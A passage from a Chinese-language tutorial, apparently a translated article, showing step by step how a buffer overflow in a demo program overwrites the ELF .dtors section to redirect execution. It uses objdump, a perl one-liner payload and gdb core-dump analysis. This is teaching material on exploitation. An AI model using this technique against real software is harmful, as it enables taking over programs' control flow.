缓冲区溢出攻击_缓冲区溢出攻击定义_缓冲区溢出攻击的危害(3)

[warning3@redhat-6 dtor]$ objdump --syms bleh | egrep 'text.*bleh'

08048468 l F .text00000012 bleh

我们看bleh()函数的地址是0x08048468.现在到了真正进行攻击的时候了：

[warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "\x68\x84\x04\x08";'`

goffio!

Segmentation fault (core dumped)

[译者注：我们看一下如何确定"A"的个数：

[warning3@redhat-6 dtor]$ objdump -s -j .dtors -j .data bleh

bleh: file format elf32-i386

Contents of section .data:

80494dc 00000000 00950408 00000000 626c6568............bleh

80494ec 00000000 ....

"bleh"的起始地址为 0x80494dc + 0x0c = 0x80494e8

[warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh

bleh: file format elf32-i386

Contents of section .dtors:

80494fc ffffffff 00000000 ........

我们要覆盖的地址为0x80494fc + 0x04 = 0x8049500

因此我们用来填充的'A'的个数就等于：

0x8049500 - 0x80494e8 = 0x18 = 24

]

我们看到bleh()函数象我们预料的那样被执行了。不过最好还是让我们看一下

得到的进程映像(core)，看看到底发生了些什么变化。

[warning3@redhat-6 dtor]$ gdb -q bleh core

Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAh'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#00x8049508 in _GLOBAL_OFFSET_TABLE_ ()

(gdb) bt

#00x8049508 in _GLOBAL_OFFSET_TABLE_ ()

#10x80484 in ?? ()

#20x8049500 in __DTOR_END__ ()

#30x80484d0 in _IO_stdin_used ()

Cannot access memory at address 0x68e58955.

(gdb) maintenance info sections

Exec file:

`/home/warning3/dtor/bleh', file type elf32-i386.

0x080494dc->0x080494f0 at 0x000004dc: .data ALLOC LOAD DATA HAS_CONTENTS

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-27331-3.html